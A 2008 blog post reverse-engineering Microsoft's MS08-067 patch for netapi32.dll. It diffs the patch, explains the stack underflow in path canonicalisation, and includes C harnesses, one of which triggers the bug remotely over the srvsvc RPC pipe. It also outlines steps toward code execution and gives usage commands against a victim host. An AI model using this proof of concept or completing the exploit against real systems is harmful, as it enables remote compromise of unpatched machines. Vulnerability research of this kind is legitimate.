reversing the ms08-067 patch…

Posted on October 23, 2008 by



We are gonna jump right in here:

First, let’s download patches. MS has supplied patches for 2K. Since 2K is the older, less featureful of any of the operating systems, we should download those patches in order to gain insight into the vulnerability. First, I grabbed the patch from http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx. I noted that it “replaced” the patch from ms06-040…

So I downloaded MS06-040.mspx as well. Extracting these patches can be done with, for example, “Windows2000-KB921883-x86-ENU.exe /extract:wherever”. In either case only netapi32.dll was patched – thank heavens! Makes diffing easier.

Next I had to diff these patches. I’ve only done this once before, and I don’t have any of my old tools. The other Stephen told me about eEye’s binary diffing suite, which I downloaded and installed (with some dumb registry hacks to get it running under IDA 5.2). Fortunately DarunGrim (the eEye differ) is super-easy to use. After running AnalIDA on both netapi32’s and exporting to sqllite, I had the following output from DarunGrim (I clicked on “Match Rate” to get the diffs at the top):

On the left is netapi32.dll for 2K SP4 MS06-040, and on the right is netapi32.dll from the latest MS08-067 2K SP4 patch.

So some unnamed subroutine as well as NetpManageIPCConnect. Well I’ll spare you the details about NetpManagerIPCConnect and just give an overview: it’s called by NetJoinDomain and has nothing to do with the current vulnerability. Or does it! Maybe it’s just a free security update for 2K, I dunno.

Anyway that unnamed function is what’s interesting. Take a look at “Unidentified Subroutines”:


Hmm… StringCopyWorkerW is what MS uses whenever they have to start cleaning up their old fugly code. Well looking at “sub_7CDDB293” (patched) we have:

And in the old (less patched) function we have:

At first this kind of stuff gets you excited about unbounded stack copies, until you look at the function a little. First off, the function takes one argument:

And there are no local buffers. Huh… if you look at it a bit longer, you’ll see the function copies FROM the “pszDest” buffer TO the “pszDest” buffer. This is not the stuff strcpy overflows are made of, since the destination buffer is by definition at least as large as the source buffer.

So I discounted a straight up overflow and figured it must be an indexing error of some kind. If you bring up MS06-040 for 2K SP4 netapi32.dll in IDA and look around, you can match up your flowgraph with the one I show here:

What tipped me off was:

.text:7CDDB318 014 89 6C 24 10 mov [esp+14h+var_4], ebp

.text:7CDDB31C 014 8B F5 mov esi, ebp

.text:7CDDB31E 014 83 C5 FE add ebp, -2

.text:7CDDB321 014 55 push ebp

.text:7CDDB322 018 57 push edi

.text:7CDDB323 01C E8 5C 00 00 00 call sub_7CDDB384

.text:7CDDB328 014 8B E8 mov ebp, eax ; ASS

That “add ebp, -2” could cause ebp to point before the start of our buffer, if ebp was initialized to point to the start of the buffer. Moreover, if you look at “sub_7CDDB384”, you’ll see it scans backwards for a “\” (backslash) character. So if ebp did point prior to the buffer start, sub_7CDDB23D would make it point even further down the stack. A subsequent wcscpy (in the “peach” box in the graph above) could then corrupt variables farther down the callstack (like, say, EIP).

However, this section of code won’t be called until ebp is non-zero, which occurs in the “green” marked box, which must be pre-ceded by edx being initialized in the “yellow” box.

Rather than completely untangle the mess of functionality exposed in this disassembly, I wanted to run the function a little and see what kind of inputs correspond to what outputs.

I did this by taking the offset between sub_7CDDB23D and the load address of NETAPI32.DLL, and then I wrote this C program:

#include <windows.h>

#include <stdio.h>

int wmain(int argc, wchar_t **argv)

{

HMODULE netapi32 = LoadLibraryW(argv[1]);

void (__stdcall *foo)(PWCHAR);

WCHAR buf[4096];

*(PVOID*)&foo = (PVOID)(((PUCHAR)netapi32) + 0x1b23d);

//__asm { int 3 }

wcscpy(buf, argv[2]);

foo(buf);

wprintf(L”%s\n”, buf);

}

Now I could basically just call the function on the command line with different combinations of characters and see what happened:

So basically it strips out preceding directory entries with each “\..\”. No doubt it does this by finding where a “\..\” is, backing up to the backslash that starts before it, and copying the string down. But what happens when there are aren’t any more prior directory entries….

So it scanned backwards until it busted the stack (as if there had been infinite recursion or it had allocated too much memory with alloca). Probably cuz there wasn’t any “0x5c” (“\”) on the stack. Well maybe in the RPC service there will be…

For that, get a call graph:

Looks complicated, but NetpwPathCanonicalize is an export, and SRVSVC.DLL imports it…

Wow, wasn’t this exact function patched in MS06-040? Microsoft sure has egg on their face. Well, I didn’t have any packet generators with me and I don’t know how to use metasploit, so I used Tenable’s awesome mIDA plugin to rip out an IDL from SRVSVC:

mIDA never organizes its structs and unions correctly, so I had to fiddle with the resulting .IDL file, but that only took 5-10 minutes. The next thing to do was put a harness together to call the NetprPathCanonicalize function in C/C++:

#include <windows.h>

#include “srvsvc.h”

#include <stdio.h>

extern “C” PVOID __stdcall MIDL_user_allocate(size_t s) { return malloc(s); }

extern “C” VOID __stdcall MIDL_user_free(PVOID p) { free(p); }

int main(int argc, char **argv)

{

RPC_STATUS status;

unsigned char *strBind = 0;

handle_t handle;

status = RpcStringBindingComposeA(0, // object uuid

(RPC_CSTR)”ncacn_np”, // protseq

(RPC_CSTR)argv[1], // net addr

(RPC_CSTR)argv[2], // endpoint

0,

&strBind);

if (status) { printf(“%d\n”, status); return status; }

printf(“%s\n”, strBind);

status = RpcBindingFromStringBinding(strBind, &handle);

if (status) { printf(“%d\n”, status); return status; }

RpcTryExcept {

unsigned char x[1000];

long q = 1;

_NetprPathCanonicalize(handle, L”AAA”, L”.\\\\x\\..\\..\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx”, x, 1000, L””, &q, 1);

} RpcExcept(EXCEPTION_EXECUTE_HANDLER) {

unsigned long code = RpcExceptionCode();

printf(“WAHAHAH %d %08x\n”, code, code);

} RpcEndExcept

printf(“hi\n”);

}

The MIDL_user_allocate/free functions are because MIDL.EXE won’t generate them for you but they end up in the client stubs. I had to fiddle a little with the parameters in NetprPathCanonicalize to pass all the various checks and functions to get my evil data from NetprPathCanonicalize, through to NetpwPathCanonicalize and to the vulnerable “sub_…” routine, but as you can see there isn’t much too it.

In order to get a real exploit out of this, we need to:

  • Prime our RPC service with additional data to ensure that a “\” (backslash) will occur somewhere in an older portion of the callstack, so that ebp won’t point too far down the stack before the wcscpy
  • Dump a jmp esp somewhere into that mess of “x”s
  • Get valid Unicode shellcode (which isn’t hard) and put it in the “x”s. You’ve got almost 1000 bytes to work with, that should be more than enough for about anything.

I didn’t handle any authentication or anything in this dumb example, so you use it by:

net use \\victim\ipc$ /user:”” “” (or valid creds, depending…)

die.exe \\victim \pipe\srvsvc

Oh just a dumb addendum to this post: you can get the PoC which remotely accesses this vuln off milw0rm: http://www.milw0rm.com/exploits/6824 and http://milw0rm.com/sploits/2008-ms08-067.zip.  This won’t get you execution since I’m not in the habit of releasing toys for k1dd13s but, like the patch itself, it should be enough for anyone moderately skilled to get reliable EIP, it just needs a little futzing here and there.

Also, in fairness to Microsoft’s fuzzers, although it is trivially easy to bust the unnamed “sub_7CDDB23D”  that is internal to NETAPI32.DLL, actually accessing this function in a way that will remotely trigger the vulnerability is a bit trickier.  Once someone’s pointed it out to you, you’ll smack your forehead and wonder how you could’ve missed it (I have been smacking my forehead now for 2 days straight); but it does actually require the alignment of several parameters in juuust the right way.  Anyone who’s ever tried fuzzing something will know that for every parameter you can fuzz “correctly” (i.e., exploitably), there is probably a few thousand (more often, billion) ways to fuzz that parameter “incorrectly” (i.e., safely).  Multiply that by the 7 or so arguments required by NetprPathCanonicalize and even “simple” stuff like this can slip through the cracks.

*** more files and such to come (idb, analida, etc.) ***

Also, why is it that when you start googling for random stuff while you are reversing you always get hits for Chinese sites? 😉

Also, we know Kostya Kortchinsky at Immuity beat us to this…and teased us about it…